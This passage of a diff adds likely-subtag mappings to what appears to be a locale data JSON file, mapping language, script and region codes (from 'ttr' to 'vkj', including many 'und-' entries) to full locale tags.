+ "ttr": "ttr-Latn-ZZ",
+ "tts": "tts-Thai-TH",
+ "ttt": "ttt-Latn-AZ",
+ "ttu": "ttu-Latn-PG",
+ "ttv": "ttv-Latn-PG",
+ "ttw": "ttw-Latn-MY",
+ "tty": "tty-Latn-ID",
+ "tua": "tua-Latn-PG",
+ "tub": "tub-Latn-US",
+ "tuc": "tuc-Latn-PG",
+ "tud": "tud-Latn-BR",
+ "tue": "tue-Latn-CO",
+ "tuf": "tuf-Latn-CO",
+ "tug": "tug-Latn-TD",
+ "tuh": "tuh-Latn-ZZ",
+ "tui": "tui-Latn-CM",
+ "tuj": "tuj-Latn-ID",
+ "tul": "tul-Latn-ZZ",
+ "tum": "tum-Latn-MW",
+ "tun": "tun-Latn-US",
+ "tuo": "tuo-Latn-BR",
+ "tuq": "tuq-Latn-ZZ",
+ "tus": "tus-Latn-CA",
+ "tuu": "tuu-Latn-US",
+ "tuv": "tuv-Latn-KE",
+ "tux": "tux-Latn-BR",
+ "tuy": "tuy-Latn-KE",
+ "tuz": "tuz-Latn-BF",
+ "tva": "tva-Latn-SB",
+ "tvd": "tvd-Latn-ZZ",
+ "tve": "tve-Latn-ID",
+ "tvk": "tvk-Latn-VU",
+ "tvl": "tvl-Latn-TV",
+ "tvm": "tvm-Latn-ID",
+ "tvn": "tvn-Mymr-MM",
+ "tvo": "tvo-Latn-ID",
+ "tvs": "tvs-Latn-KE",
+ "tvt": "tvt-Latn-IN",
+ "tvu": "tvu-Latn-ZZ",
+ "tvw": "tvw-Latn-ID",
+ "tvx": "tvx-Latn-TW",
+ "twa": "twa-Latn-US",
+ "twb": "twb-Latn-PH",
+ "twd": "twd-Latn-NL",
+ "twe": "twe-Latn-ID",
+ "twf": "twf-Latn-US",
+ "twg": "twg-Latn-ID",
+ "twh": "twh-Latn-ZZ",
+ "twl": "twl-Latn-MZ",
+ "twm": "twm-Deva-IN",
+ "twn": "twn-Latn-CM",
+ "two": "two-Latn-BW",
+ "twp": "twp-Latn-PG",
+ "twq": "twq-Latn-NE",
+ "twr": "twr-Latn-MX",
+ "twt": "twt-Latn-BR",
+ "twu": "twu-Latn-ID",
+ "tww": "tww-Latn-PG",
+ "twx": "twx-Latn-MZ",
+ "twy": "twy-Latn-ID",
+ "txa": "txa-Latn-MY",
+ "txe": "txe-Latn-ID",
+ "txg": "txg-Tang-CN",
+ "txi": "txi-Latn-BR",
+ "txj": "txj-Latn-NG",
+ "txm": "txm-Latn-ID",
+ "txn": "txn-Latn-ID",
+ "txo": "txo-Toto-IN",
+ "txq": "txq-Latn-ID",
+ "txs": "txs-Latn-ID",
+ "txt": "txt-Latn-ID",
+ "txu": "txu-Latn-BR",
+ "txx": "txx-Latn-MY",
+ "txy": "txy-Latn-MG",
+ "ty": "ty-Latn-PF",
+ "tya": "tya-Latn-ZZ",
+ "tye": "tye-Latn-NG",
+ "tyh": "tyh-Latn-VN",
+ "tyi": "tyi-Latn-CG",
+ "tyj": "tyj-Latn-VN",
+ "tyl": "tyl-Latn-VN",
+ "tyn": "tyn-Latn-ID",
+ "typ": "typ-Latn-AU",
+ "tyr": "tyr-Tavt-VN",
+ "tys": "tys-Latn-VN",
+ "tyt": "tyt-Latn-VN",
+ "tyt-Tavt": "tyt-Tavt-VN",
+ "tyu": "tyu-Latn-BW",
+ "tyv": "tyv-Cyrl-RU",
+ "tyx": "tyx-Latn-CG",
+ "tyy": "tyy-Latn-NG",
+ "tyz": "tyz-Latn-VN",
+ "tzh": "tzh-Latn-MX",
+ "tzj": "tzj-Latn-GT",
+ "tzl": "tzl-Latn-001",
+ "tzm": "tzm-Latn-MA",
+ "tzn": "tzn-Latn-ID",
+ "tzo": "tzo-Latn-MX",
+ "tzx": "tzx-Latn-PG",
+ "uam": "uam-Latn-BR",
+ "uar": "uar-Latn-PG",
+ "uba": "uba-Latn-NG",
+ "ubi": "ubi-Latn-TD",
+ "ubl": "ubl-Latn-PH",
+ "ubr": "ubr-Latn-PG",
+ "ubu": "ubu-Latn-ZZ",
+ "uda": "uda-Latn-NG",
+ "ude": "ude-Cyrl-RU",
+ "udg": "udg-Mlym-IN",
+ "udi": "udi-Aghb-RU",
+ "udj": "udj-Latn-ID",
+ "udl": "udl-Latn-CM",
+ "udm": "udm-Cyrl-RU",
+ "udu": "udu-Latn-SD",
+ "ues": "ues-Latn-ID",
+ "ufi": "ufi-Latn-PG",
+ "ug": "ug-Arab-CN",
+ "ug-Cyrl": "ug-Cyrl-KZ",
+ "ug-KZ": "ug-Cyrl-KZ",
+ "ug-MN": "ug-Cyrl-MN",
+ "uga": "uga-Ugar-SY",
+ "ugb": "ugb-Latn-AU",
+ "uge": "uge-Latn-SB",
+ "ugh": "ugh-Cyrl-RU",
+ "ugo": "ugo-Thai-TH",
+ "uha": "uha-Latn-NG",
+ "uhn": "uhn-Latn-ID",
+ "uis": "uis-Latn-PG",
+ "uiv": "uiv-Latn-CM",
+ "uji": "uji-Latn-NG",
+ "uk": "uk-Cyrl-UA",
+ "uka": "uka-Latn-ID",
+ "ukg": "ukg-Latn-PG",
+ "ukh": "ukh-Latn-CF",
+ "uki": "uki-Orya-IN",
+ "ukk": "ukk-Latn-MM",
+ "ukp": "ukp-Latn-NG",
+ "ukq": "ukq-Latn-NG",
+ "uku": "uku-Latn-NG",
+ "ukv": "ukv-Latn-SS",
+ "ukw": "ukw-Latn-NG",
+ "uky": "uky-Latn-AU",
+ "ula": "ula-Latn-NG",
+ "ulb": "ulb-Latn-NG",
+ "ulc": "ulc-Cyrl-RU",
+ "ule": "ule-Latn-AR",
+ "ulf": "ulf-Latn-ID",
+ "uli": "uli-Latn-FM",
+ "ulk": "ulk-Latn-AU",
+ "ulm": "ulm-Latn-ID",
+ "uln": "uln-Latn-PG",
+ "ulu": "ulu-Latn-ID",
+ "ulw": "ulw-Latn-NI",
+ "uma": "uma-Latn-US",
+ "umb": "umb-Latn-AO",
+ "umd": "umd-Latn-AU",
+ "umg": "umg-Latn-AU",
+ "umi": "umi-Latn-MY",
+ "umm": "umm-Latn-NG",
+ "umn": "umn-Latn-MM",
+ "umo": "umo-Latn-BR",
+ "ump": "ump-Latn-AU",
+ "umr": "umr-Latn-AU",
+ "ums": "ums-Latn-ID",
+ "una": "una-Latn-PG",
+ "und": "en-Latn-US",
+ "und-002": "en-Latn-NG",
+ "und-003": "en-Latn-US",
+ "und-005": "pt-Latn-BR",
+ "und-009": "en-Latn-AU",
+ "und-011": "en-Latn-NG",
+ "und-013": "es-Latn-MX",
+ "und-014": "sw-Latn-TZ",
+ "und-015": "ar-Arab-EG",
+ "und-017": "sw-Latn-CD",
+ "und-018": "en-Latn-ZA",
+ "und-019": "en-Latn-US",
+ "und-021": "en-Latn-US",
+ "und-029": "es-Latn-CU",
+ "und-030": "zh-Hans-CN",
+ "und-034": "hi-Deva-IN",
+ "und-035": "id-Latn-ID",
+ "und-039": "it-Latn-IT",
+ "und-053": "en-Latn-AU",
+ "und-054": "en-Latn-PG",
+ "und-057": "en-Latn-GU",
+ "und-061": "sm-Latn-WS",
+ "und-142": "zh-Hans-CN",
+ "und-143": "uz-Latn-UZ",
+ "und-145": "ar-Arab-SA",
+ "und-150": "ru-Cyrl-RU",
+ "und-151": "ru-Cyrl-RU",
+ "und-154": "en-Latn-GB",
+ "und-155": "de-Latn-DE",
+ "und-202": "en-Latn-NG",
+ "und-419": "es-Latn-419",
+ "und-AD": "ca-Latn-AD",
+ "und-AE": "ar-Arab-AE",
+ "und-AF": "fa-Arab-AF",
+ "und-AL": "sq-Latn-AL",
+ "und-AM": "hy-Armn-AM",
+ "und-AO": "pt-Latn-AO",
+ "und-AQ": "und-Latn-AQ",
+ "und-AR": "es-Latn-AR",
+ "und-AS": "sm-Latn-AS",
+ "und-AT": "de-Latn-AT",
+ "und-AW": "nl-Latn-AW",
+ "und-AX": "sv-Latn-AX",
+ "und-AZ": "az-Latn-AZ",
+ "und-Adlm": "ff-Adlm-GN",
+ "und-Aghb": "udi-Aghb-RU",
+ "und-Ahom": "aho-Ahom-IN",
+ "und-Arab": "ar-Arab-EG",
+ "und-Arab-CC": "ms-Arab-CC",
+ "und-Arab-CN": "ug-Arab-CN",
+ "und-Arab-GB": "ur-Arab-GB",
+ "und-Arab-ID": "ms-Arab-ID",
+ "und-Arab-IN": "ur-Arab-IN",
+ "und-Arab-KH": "cja-Arab-KH",
+ "und-Arab-MM": "rhg-Arab-MM",
+ "und-Arab-MN": "kk-Arab-MN",
+ "und-Arab-MU": "ur-Arab-MU",
+ "und-Arab-NG": "ha-Arab-NG",
+ "und-Arab-PK": "ur-Arab-PK",
+ "und-Arab-TG": "apd-Arab-TG",
+ "und-Arab-TH": "mfa-Arab-TH",
+ "und-Arab-TJ": "fa-Arab-TJ",
+ "und-Arab-TR": "apc-Arab-TR",
+ "und-Arab-YT": "swb-Arab-YT",
+ "und-Armi": "arc-Armi-IR",
+ "und-Armn": "hy-Armn-AM",
+ "und-Avst": "ae-Avst-IR",
+ "und-BA": "bs-Latn-BA",
+ "und-BD": "bn-Beng-BD",
+ "und-BE": "nl-Latn-BE",
+ "und-BF": "fr-Latn-BF",
+ "und-BG": "bg-Cyrl-BG",
+ "und-BH": "ar-Arab-BH",
+ "und-BI": "rn-Latn-BI",
+ "und-BJ": "fr-Latn-BJ",
+ "und-BL": "fr-Latn-BL",
+ "und-BN": "ms-Latn-BN",
+ "und-BO": "es-Latn-BO",
+ "und-BQ": "pap-Latn-BQ",
+ "und-BR": "pt-Latn-BR",
+ "und-BT": "dz-Tibt-BT",
+ "und-BV": "und-Latn-BV",
+ "und-BY": "be-Cyrl-BY",
+ "und-Bali": "ban-Bali-ID",
+ "und-Bamu": "bax-Bamu-CM",
+ "und-Bass": "bsq-Bass-LR",
+ "und-Batk": "bbc-Batk-ID",
+ "und-Beng": "bn-Beng-BD",
+ "und-Bhks": "sa-Bhks-IN",
+ "und-Bopo": "zh-Bopo-TW",
+ "und-Brah": "pka-Brah-IN",
+ "und-Brai": "fr-Brai-FR",
+ "und-Bugi": "bug-Bugi-ID",
+ "und-Buhd": "bku-Buhd-PH",
+ "und-CD": "sw-Latn-CD",
+ "und-CF": "fr-Latn-CF",
+ "und-CG": "fr-Latn-CG",
+ "und-CH": "de-Latn-CH",
+ "und-CI": "fr-Latn-CI",
+ "und-CL": "es-Latn-CL",
+ "und-CM": "fr-Latn-CM",
+ "und-CN": "zh-Hans-CN",
+ "und-CO": "es-Latn-CO",
+ "und-CP": "und-Latn-CP",
+ "und-CR": "es-Latn-CR",
+ "und-CU": "es-Latn-CU",
+ "und-CV": "pt-Latn-CV",
+ "und-CW": "pap-Latn-CW",
+ "und-CY": "el-Grek-CY",
+ "und-CZ": "cs-Latn-CZ",
+ "und-Cakm": "ccp-Cakm-BD",
+ "und-Cans": "iu-Cans-CA",
+ "und-Cari": "xcr-Cari-TR",
+ "und-Cham": "cjm-Cham-VN",
+ "und-Cher": "chr-Cher-US",
+ "und-Chrs": "xco-Chrs-UZ",
+ "und-Copt": "cop-Copt-EG",
+ "und-Cpmn": "und-Cpmn-CY",
+ "und-Cpmn-CY": "und-Cpmn-CY",
+ "und-Cprt": "grc-Cprt-CY",
+ "und-Cyrl": "ru-Cyrl-RU",
+ "und-Cyrl-AL": "mk-Cyrl-AL",
+ "und-Cyrl-BA": "sr-Cyrl-BA",
+ "und-Cyrl-GE": "ab-Cyrl-GE",
+ "und-Cyrl-GR": "mk-Cyrl-GR",
+ "und-Cyrl-MD": "uk-Cyrl-MD",
+ "und-Cyrl-RO": "bg-Cyrl-RO",
+ "und-Cyrl-SK": "uk-Cyrl-SK",
+ "und-Cyrl-TR": "kbd-Cyrl-TR",
+ "und-Cyrl-XK": "sr-Cyrl-XK",
+ "und-DE": "de-Latn-DE",
+ "und-DJ": "aa-Latn-DJ",
+ "und-DK": "da-Latn-DK",
+ "und-DO": "es-Latn-DO",
+ "und-DZ": "ar-Arab-DZ",
+ "und-Deva": "hi-Deva-IN",
+ "und-Deva-BT": "ne-Deva-BT",
+ "und-Deva-FJ": "hif-Deva-FJ",
+ "und-Deva-MU": "bho-Deva-MU",
+ "und-Deva-PK": "btv-Deva-PK",
+ "und-Diak": "dv-Diak-MV",
+ "und-Dogr": "doi-Dogr-IN",
+ "und-Dupl": "fr-Dupl-FR",
+ "und-EA": "es-Latn-EA",
+ "und-EC": "es-Latn-EC",
+ "und-EE": "et-Latn-EE",
+ "und-EG": "ar-Arab-EG",
+ "und-EH": "ar-Arab-EH",
+ "und-ER": "ti-Ethi-ER",
+ "und-ES": "es-Latn-ES",
+ "und-ET": "am-Ethi-ET",
+ "und-EU": "en-Latn-IE",
+ "und-EZ": "de-Latn-EZ",
+ "und-Egyp": "egy-Egyp-EG",
+ "und-Elba": "sq-Elba-AL",
+ "und-Elym": "arc-Elym-IR",
+ "und-Ethi": "am-Ethi-ET",
+ "und-FI": "fi-Latn-FI",
+ "und-FO": "fo-Latn-FO",
+ "und-FR": "fr-Latn-FR",
+ "und-GA": "fr-Latn-GA",
+ "und-GE": "ka-Geor-GE",
+ "und-GF": "fr-Latn-GF",
+ "und-GH": "ak-Latn-GH",
+ "und-GL": "kl-Latn-GL",
+ "und-GN": "fr-Latn-GN",
+ "und-GP": "fr-Latn-GP",
+ "und-GQ": "es-Latn-GQ",
+ "und-GR": "el-Grek-GR",
+ "und-GS": "und-Latn-GS",
+ "und-GT": "es-Latn-GT",
+ "und-GW": "pt-Latn-GW",
+ "und-Geor": "ka-Geor-GE",
+ "und-Glag": "cu-Glag-BG",
+ "und-Gong": "wsg-Gong-IN",
+ "und-Gonm": "esg-Gonm-IN",
+ "und-Goth": "got-Goth-UA",
+ "und-Gran": "sa-Gran-IN",
+ "und-Grek": "el-Grek-GR",
+ "und-Grek-TR": "bgx-Grek-TR",
+ "und-Gujr": "gu-Gujr-IN",
+ "und-Guru": "pa-Guru-IN",
+ "und-HK": "zh-Hant-HK",
+ "und-HM": "und-Latn-HM",
+ "und-HN": "es-Latn-HN",
+ "und-HR": "hr-Latn-HR",
+ "und-HT": "ht-Latn-HT",
+ "und-HU": "hu-Latn-HU",
+ "und-Hanb": "zh-Hanb-TW",
+ "und-Hang": "ko-Hang-KR",
+ "und-Hani": "zh-Hani-CN",
+ "und-Hano": "hnn-Hano-PH",
+ "und-Hans": "zh-Hans-CN",
+ "und-Hant": "zh-Hant-TW",
+ "und-Hant-CA": "yue-Hant-CA",
+ "und-Hebr": "he-Hebr-IL",
+ "und-Hebr-SE": "yi-Hebr-SE",
+ "und-Hebr-UA": "yi-Hebr-UA",
+ "und-Hebr-US": "yi-Hebr-US",
+ "und-Hira": "ja-Hira-JP",
+ "und-Hluw": "hlu-Hluw-TR",
+ "und-Hmng": "hnj-Hmng-LA",
+ "und-Hmnp": "hnj-Hmnp-US",
+ "und-Hung": "hu-Hung-HU",
+ "und-IC": "es-Latn-IC",
+ "und-ID": "id-Latn-ID",
+ "und-IL": "he-Hebr-IL",
+ "und-IN": "hi-Deva-IN",
+ "und-IQ": "ar-Arab-IQ",
+ "und-IR": "fa-Arab-IR",
+ "und-IS": "is-Latn-IS",
+ "und-IT": "it-Latn-IT",
+ "und-Ital": "ett-Ital-IT",
+ "und-JO": "ar-Arab-JO",
+ "und-JP": "ja-Jpan-JP",
+ "und-Jamo": "ko-Jamo-KR",
+ "und-Java": "jv-Java-ID",
+ "und-Jpan": "ja-Jpan-JP",
+ "und-KE": "sw-Latn-KE",
+ "und-KG": "ky-Cyrl-KG",
+ "und-KH": "km-Khmr-KH",
+ "und-KM": "ar-Arab-KM",
+ "und-KP": "ko-Kore-KP",
+ "und-KR": "ko-Kore-KR",
+ "und-KW": "ar-Arab-KW",
+ "und-KZ": "ru-Cyrl-KZ",
+ "und-Kali": "eky-Kali-MM",
+ "und-Kana": "ja-Kana-JP",
+ "und-Kawi": "kaw-Kawi-ID",
+ "und-Khar": "pra-Khar-PK",
+ "und-Khmr": "km-Khmr-KH",
+ "und-Khoj": "sd-Khoj-IN",
+ "und-Kits": "zkt-Kits-CN",
+ "und-Knda": "kn-Knda-IN",
+ "und-Kore": "ko-Kore-KR",
+ "und-Kthi": "bho-Kthi-IN",
+ "und-LA": "lo-Laoo-LA",
+ "und-LB": "ar-Arab-LB",
+ "und-LI": "de-Latn-LI",
+ "und-LK": "si-Sinh-LK",
+ "und-LS": "st-Latn-LS",
+ "und-LT": "lt-Latn-LT",
+ "und-LU": "fr-Latn-LU",
+ "und-LV": "lv-Latn-LV",
+ "und-LY": "ar-Arab-LY",
+ "und-Lana": "nod-Lana-TH",
+ "und-Laoo": "lo-Laoo-LA",
+ "und-Laoo-AU": "hnj-Laoo-AU",
+ "und-Laoo-CN": "hnj-Laoo-CN",
+ "und-Laoo-FR": "hnj-Laoo-FR",
+ "und-Laoo-GF": "hnj-Laoo-GF",
+ "und-Laoo-MM": "hnj-Laoo-MM",
+ "und-Laoo-SR": "hnj-Laoo-SR",
+ "und-Laoo-TH": "hnj-Laoo-TH",
+ "und-Laoo-US": "hnj-Laoo-US",
+ "und-Laoo-VN": "hnj-Laoo-VN",
+ "und-Latn-AF": "tk-Latn-AF",
+ "und-Latn-AM": "ku-Latn-AM",
+ "und-Latn-CN": "za-Latn-CN",
+ "und-Latn-CY": "tr-Latn-CY",
+ "und-Latn-DZ": "fr-Latn-DZ",
+ "und-Latn-ET": "en-Latn-ET",
+ "und-Latn-GE": "ku-Latn-GE",
+ "und-Latn-IR": "tk-Latn-IR",
+ "und-Latn-KM": "fr-Latn-KM",
+ "und-Latn-MA": "fr-Latn-MA",
+ "und-Latn-MK": "sq-Latn-MK",
+ "und-Latn-MM": "kac-Latn-MM",
+ "und-Latn-MO": "pt-Latn-MO",
+ "und-Latn-MR": "fr-Latn-MR",
+ "und-Latn-RU": "krl-Latn-RU",
+ "und-Latn-SY": "fr-Latn-SY",
+ "und-Latn-TN": "fr-Latn-TN",
+ "und-Latn-TW": "trv-Latn-TW",
+ "und-Latn-UA": "pl-Latn-UA",
+ "und-Lepc": "lep-Lepc-IN",
+ "und-Limb": "lif-Limb-IN",
+ "und-Lina": "lab-Lina-GR",
+ "und-Linb": "grc-Linb-GR",
+ "und-Lisu": "lis-Lisu-CN",
+ "und-Lyci": "xlc-Lyci-TR",
+ "und-Lydi": "xld-Lydi-TR",
+ "und-MA": "ar-Arab-MA",
+ "und-MC": "fr-Latn-MC",
+ "und-MD": "ro-Latn-MD",
+ "und-ME": "sr-Latn-ME",
+ "und-MF": "fr-Latn-MF",
+ "und-MG": "mg-Latn-MG",
+ "und-MK": "mk-Cyrl-MK",
+ "und-ML": "bm-Latn-ML",
+ "und-MM": "my-Mymr-MM",
+ "und-MN": "mn-Cyrl-MN",
+ "und-MO": "zh-Hant-MO",
+ "und-MQ": "fr-Latn-MQ",
+ "und-MR": "ar-Arab-MR",
+ "und-MT": "mt-Latn-MT",
+ "und-MU": "mfe-Latn-MU",
+ "und-MV": "dv-Thaa-MV",
+ "und-MX": "es-Latn-MX",
+ "und-MY": "ms-Latn-MY",
+ "und-MZ": "pt-Latn-MZ",
+ "und-Mahj": "hi-Mahj-IN",
+ "und-Maka": "mak-Maka-ID",
+ "und-Mand": "myz-Mand-IR",
+ "und-Mani": "xmn-Mani-CN",
+ "und-Marc": "bo-Marc-CN",
+ "und-Medf": "dmf-Medf-NG",
+ "und-Mend": "men-Mend-SL",
+ "und-Merc": "xmr-Merc-SD",
+ "und-Mero": "xmr-Mero-SD",
+ "und-Mlym": "ml-Mlym-IN",
+ "und-Modi": "mr-Modi-IN",
+ "und-Mong": "mn-Mong-CN",
+ "und-Mroo": "mro-Mroo-BD",
+ "und-Mtei": "mni-Mtei-IN",
+ "und-Mult": "skr-Mult-PK",
+ "und-Mymr": "my-Mymr-MM",
+ "und-Mymr-IN": "kht-Mymr-IN",
+ "und-Mymr-TH": "mnw-Mymr-TH",
+ "und-NA": "af-Latn-NA",
+ "und-NC": "fr-Latn-NC",
+ "und-NE": "ha-Latn-NE",
+ "und-NI": "es-Latn-NI",
+ "und-NL": "nl-Latn-NL",
+ "und-NO": "nb-Latn-NO",
+ "und-NP": "ne-Deva-NP",
+ "und-Nagm": "unr-Nagm-IN",
+ "und-Nand": "sa-Nand-IN",
+ "und-Narb": "xna-Narb-SA",
+ "und-Nbat": "arc-Nbat-JO",
+ "und-Newa": "new-Newa-NP",
+ "und-Nkoo": "man-Nkoo-GN",
+ "und-Nshu": "zhx-Nshu-CN",
+ "und-OM": "ar-Arab-OM",
+ "und-Ogam": "sga-Ogam-IE",
+ "und-Olck": "sat-Olck-IN",
+ "und-Orkh": "otk-Orkh-MN",
+ "und-Orya": "or-Orya-IN",
+ "und-Osge": "osa-Osge-US",
+ "und-Osma": "so-Osma-SO",
+ "und-Ougr": "oui-Ougr-143",
+ "und-PA": "es-Latn-PA",
+ "und-PE": "es-Latn-PE",
+ "und-PF": "fr-Latn-PF",
+ "und-PG": "tpi-Latn-PG",
+ "und-PH": "fil-Latn-PH",
+ "und-PK": "ur-Arab-PK",
+ "und-PL": "pl-Latn-PL",
+ "und-PM": "fr-Latn-PM",
+ "und-PR": "es-Latn-PR",
+ "und-PS": "ar-Arab-PS",
+ "und-PT": "pt-Latn-PT",
+ "und-PW": "pau-Latn-PW",
+ "und-PY": "gn-Latn-PY",
+ "und-Palm": "arc-Palm-SY",
+ "und-Pauc": "ctd-Pauc-MM",
+ "und-Perm": "kv-Perm-RU",
+ "und-Phag": "lzh-Phag-CN",
+ "und-Phli": "pal-Phli-IR",
+ "und-Phlp": "pal-Phlp-CN",
+ "und-Phnx": "phn-Phnx-LB",
+ "und-Plrd": "hmd-Plrd-CN",
+ "und-Prti": "xpr-Prti-IR",
+ "und-QA": "ar-Arab-QA",
+ "und-QO": "en-Latn-DG",
+ "und-RE": "fr-Latn-RE",
+ "und-RO": "ro-Latn-RO",
+ "und-RS": "sr-Cyrl-RS",
+ "und-RU": "ru-Cyrl-RU",
+ "und-RW": "rw-Latn-RW",
+ "und-Rjng": "rej-Rjng-ID",
+ "und-Rohg": "rhg-Rohg-MM",
+ "und-Runr": "non-Runr-SE",
+ "und-SA": "ar-Arab-SA",
+ "und-SC": "fr-Latn-SC",
+ "und-SD": "ar-Arab-SD",
+ "und-SE": "sv-Latn-SE",
+ "und-SI": "sl-Latn-SI",
+ "und-SJ": "nb-Latn-SJ",
+ "und-SK": "sk-Latn-SK",
+ "und-SM": "it-Latn-SM",
+ "und-SN": "fr-Latn-SN",
+ "und-SO": "so-Latn-SO",
+ "und-SR": "nl-Latn-SR",
+ "und-ST": "pt-Latn-ST",
+ "und-SV": "es-Latn-SV",
+ "und-SY": "ar-Arab-SY",
+ "und-Samr": "smp-Samr-IL",
+ "und-Sarb": "xsa-Sarb-YE",
+ "und-Saur": "saz-Saur-IN",
+ "und-Sgnw": "ase-Sgnw-US",
+ "und-Shaw": "en-Shaw-GB",
+ "und-Shrd": "sa-Shrd-IN",
+ "und-Sidd": "sa-Sidd-IN",
+ "und-Sind": "sd-Sind-IN",
+ "und-Sinh": "si-Sinh-LK",
+ "und-Sogd": "sog-Sogd-UZ",
+ "und-Sogo": "sog-Sogo-UZ",
+ "und-Sora": "srb-Sora-IN",
+ "und-Soyo": "cmg-Soyo-MN",
+ "und-Sund": "su-Sund-ID",
+ "und-Sylo": "syl-Sylo-BD",
+ "und-Syrc": "syr-Syrc-IQ",
+ "und-TD": "fr-Latn-TD",
+ "und-TF": "fr-Latn-TF",
+ "und-TG": "fr-Latn-TG",
+ "und-TH": "th-Thai-TH",
+ "und-TJ": "tg-Cyrl-TJ",
+ "und-TK": "tkl-Latn-TK",
+ "und-TL": "pt-Latn-TL",
+ "und-TM": "tk-Latn-TM",
+ "und-TN": "ar-Arab-TN",
+ "und-TO": "to-Latn-TO",
+ "und-TR": "tr-Latn-TR",
+ "und-TV": "tvl-Latn-TV",
+ "und-TW": "zh-Hant-TW",
+ "und-TZ": "sw-Latn-TZ",
+ "und-Tagb": "tbw-Tagb-PH",
+ "und-Takr": "doi-Takr-IN",
+ "und-Tale": "tdd-Tale-CN",
+ "und-Talu": "khb-Talu-CN",
+ "und-Taml": "ta-Taml-IN",
+ "und-Tang": "txg-Tang-CN",
+ "und-Tavt": "blt-Tavt-VN",
+ "und-Telu": "te-Telu-IN",
+ "und-Tfng": "zgh-Tfng-MA",
+ "und-Tglg": "fil-Tglg-PH",
+ "und-Thaa": "dv-Thaa-MV",
+ "und-Thai": "th-Thai-TH",
+ "und-Thai-CN": "lcp-Thai-CN",
+ "und-Thai-KH": "kdt-Thai-KH",
+ "und-Thai-LA": "kdt-Thai-LA",
+ "und-Tibt": "bo-Tibt-CN",
+ "und-Tirh": "mai-Tirh-IN",
+ "und-Tnsa": "nst-Tnsa-IN",
+ "und-Toto": "txo-Toto-IN",
+ "und-UA": "uk-Cyrl-UA",
+ "und-UG": "sw-Latn-UG",
+ "und-UY": "es-Latn-UY",
+ "und-UZ": "uz-Latn-UZ",
+ "und-Ugar": "uga-Ugar-SY",
+ "und-VA": "it-Latn-VA",
+ "und-VE": "es-Latn-VE",
+ "und-VN": "vi-Latn-VN",
+ "und-VU": "bi-Latn-VU",
+ "und-Vaii": "vai-Vaii-LR",
+ "und-Vith": "sq-Vith-AL",
+ "und-WF": "fr-Latn-WF",
+ "und-WS": "sm-Latn-WS",
+ "und-Wara": "hoc-Wara-IN",
+ "und-Wcho": "nnp-Wcho-IN",
+ "und-XK": "sq-Latn-XK",
+ "und-Xpeo": "peo-Xpeo-IR",
+ "und-Xsux": "akk-Xsux-IQ",
+ "und-YE": "ar-Arab-YE",
+ "und-YT": "fr-Latn-YT",
+ "und-Yezi": "ku-Yezi-GE",
+ "und-Yiii": "ii-Yiii-CN",
+ "und-ZW": "sn-Latn-ZW",
+ "und-Zanb": "cmg-Zanb-MN",
+ "une": "une-Latn-NG",
+ "ung": "ung-Latn-AU",
+ "uni": "uni-Latn-PG",
+ "unk": "unk-Latn-BR",
+ "unm": "unm-Latn-US",
+ "unn": "unn-Latn-AU",
+ "unr": "unr-Beng-IN",
+ "unr-Deva": "unr-Deva-NP",
+ "unr-NP": "unr-Deva-NP",
+ "unu": "unu-Latn-PG",
+ "unx": "unx-Beng-IN",
+ "unz": "unz-Latn-ID",
+ "uok": "ema-Latn-ZZ",
+ "uon": "uon-Latn-TW",
+ "upi": "upi-Latn-PG",
+ "upv": "upv-Latn-VU",
+ "ur": "ur-Arab-PK",
+ "ura": "ura-Latn-PE",
+ "urb": "urb-Latn-BR",
+ "urc": "urc-Latn-AU",
+ "ure": "ure-Latn-BO",
+ "urf": "urf-Latn-AU",
+ "urg": "urg-Latn-PG",
+ "urh": "urh-Latn-NG",
+ "uri": "uri-Latn-ZZ",
+ "urk": "urk-Thai-TH",
+ "urm": "urm-Latn-PG",
+ "urn": "urn-Latn-ID",
+ "uro": "uro-Latn-PG",
+ "urp": "urp-Latn-BR",
+ "urr": "urr-Latn-VU",
+ "urt": "urt-Latn-ZZ",
+ "uru": "uru-Latn-BR",
+ "urv": "urv-Latn-PG",
+ "urw": "urw-Latn-ZZ",
+ "urx": "urx-Latn-PG",
+ "ury": "ury-Latn-ID",
+ "urz": "urz-Latn-BR",
+ "usa": "usa-Latn-ZZ",
+ "ush": "ush-Arab-PK",
+ "usi": "usi-Latn-BD",
+ "usi-Beng": "usi-Beng-BD",
+ "usk": "usk-Latn-CM",
+ "usp": "usp-Latn-GT",
+ "uss": "uss-Latn-NG",
+ "usu": "usu-Latn-PG",
+ "uta": "uta-Latn-NG",
+ "ute": "ute-Latn-US",
+ "uth": "uth-Latn-ZZ",
+ "utp": "utp-Latn-SB",
+ "utr": "utr-Latn-ZZ",
+ "utu": "utu-Latn-PG",
+ "uum": "uum-Grek-GE",
+ "uum-Cyrl": "uum-Cyrl-GE",
+ "uur": "uur-Latn-VU",
+ "uve": "uve-Latn-NC",
+ "uvh": "uvh-Latn-ZZ",
+ "uvl": "uvl-Latn-ZZ",
+ "uwa": "uwa-Latn-AU",
+ "uya": "uya-Latn-NG",
+ "uz": "uz-Latn-UZ",
+ "uz-AF": "uz-Arab-AF",
+ "uz-Arab": "uz-Arab-AF",
+ "uz-CN": "uz-Cyrl-CN",
+ "uzs": "uzs-Arab-AF",
+ "vaa": "vaa-Taml-IN",
+ "vae": "vae-Latn-CF",
+ "vaf": "vaf-Arab-IR",
+ "vag": "vag-Latn-ZZ",
+ "vah": "vah-Deva-IN",
+ "vai": "vai-Vaii-LR",
+ "vaj": "vaj-Latn-NA",
+ "val": "val-Latn-PG",
+ "vam": "vam-Latn-PG",
+ "van": "van-Latn-ZZ",
+ "vao": "vao-Latn-VU",
+ "vap": "vap-Latn-IN",
+ "var": "var-Latn-MX",
+ "vas": "vas-Deva-IN",
+ "vas-Gujr": "vas-Gujr-IN",
+ "vau": "vau-Latn-CD",
+ "vav": "vav-Deva-IN",
+ "vav-Gujr": "vav-Gujr-IN",
+ "vay": "vay-Deva-NP",
+ "vbb": "vbb-Latn-ID",
+ "vbk": "vbk-Latn-PH",
+ "ve": "ve-Latn-ZA",
+ "vec": "vec-Latn-IT",
+ "vem": "vem-Latn-NG",
+ "veo": "veo-Latn-US",
+ "vep": "vep-Latn-RU",
+ "ver": "ver-Latn-NG",
+ "vgr": "vgr-Arab-PK",
+ "vi": "vi-Latn-VN",
+ "vic": "vic-Latn-SX",
+ "vid": "vid-Latn-TZ",
+ "vif": "vif-Latn-CG",
+ "vig": "vig-Latn-BF",
+ "vil": "vil-Latn-AR",
+ "vin": "vin-Latn-TZ",
+ "vit": "vit-Latn-NG",
+ "viv": "viv-Latn-ZZ",
+ "vka": "vka-Latn-AU",
+ "vkj": "vkj-Latn-TD",
